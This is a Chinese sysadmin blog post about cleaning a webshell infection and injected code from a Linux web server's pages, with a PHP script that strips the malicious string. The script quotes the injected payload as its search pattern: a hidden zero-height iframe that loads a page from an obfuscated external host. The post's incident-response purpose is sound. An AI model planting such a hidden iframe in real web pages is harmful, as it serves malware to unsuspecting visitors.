相信每位系統管理所管理的LINUX服務器都中過WebShell之類的***吧~~很不幸~~前兩天我也中了一會獎~~~這裏將查殺經驗分享給大家
現象:服務器上的網頁由一個到數個,慢慢全部打不開,輸入網址後瀏覽器顯示的是白屏
我 當時就估計可能是文件被差異了而已代碼,我打開WEB服務目錄後發現很多htm、html、php文件的最後都被加了一段惡意代碼(代碼內容我就不發上來 了)。最初想的比較簡單,認爲是有人通過論壇的上傳附件功能以及DZ的HOMESHOW功能上傳了惡意圖片,就寫了個PHP的程序清理了下WEB服務目錄 裏所有的惡意代碼。
但第二天早上有出現了同樣的現象,之前只是懷疑服務器被掛馬,但看到第二天早上又出現了同樣的情況,我就確定服務器被人掛馬 了。我開始檢查WEB服務器的訪問日誌,過濾其中的上傳條目,從中尋找異常信息。發現在有些不可能存在PHP文件的目錄被有IP上傳了個PHP文件,找到 這個文件件後VI一看,可不就是***了。
找到***後就好辦了,爲了防止服務器被利用這個***上傳了多個***,我根據這個***的一些關鍵字寫在整個根做了幾次文件內容搜索,過濾出有相關內容的文件,並逐一檢查和刪除。
最後,在PHP配置文件裏打開了安全模式,並禁止在靜態頁面目錄和非WEB服務目錄運行PHP程序,以及禁止PHP執行相關係統名。
下面附上查找並替換文件中惡意代碼的PHP程序
<?php
error_reporting(0);
set_time_limit(0);
function dirtree($path='./') {
$astr[] = '<iframe src=http://jeiurui9%2E%63%6E/j14/j14.htm width=100 height=0></Ifram
e>';
$astr[] = '查找內容的關鍵字';
$exts = array('swf', 'attach', 'rar', 'bmp', 'zip', 'dat','log', 'psd', 'png', 'sql',
'tpl', 'txt', 'phtml', 'css', 'js', 'php', 'html', 'htm', 'inc', 'xml', 'dll', 'bak', 'gif
', 'jpg');
$d = dir($path);
while(false !== ($v = $d->read())) {
if($v == '.' || $v == '..' || $v == 'fix_file.php') continue;
$file = $d->path.'/'.$v;
$file = str_replace('//', '/', $file);
if (is_dir($file)) {
dirtree($file);
} else {
$files = explode('.', $file);
$ext = array_pop($files);
if (in_array($ext, $exts)) {
$tmp_content = file_get_contents($file);
if (strpos($tmp_content, 'jeiurui9') || strpos($tmp_content, '/j14/j14.htm
')) {
$safe_content = str_replace($astr, '', $tmp_content);
file_put_contents($file, $safe_content);
echo "fix $file\n";
} else {
// echo "ok $file\n";
}
}
}
}
$d->close();
}
dirtree(dirname(__FILE__));
?>
本文出自 “凝固瞬間” 博客,請務必保留此出處http://21wmd.blog.51cto.com/206183/207601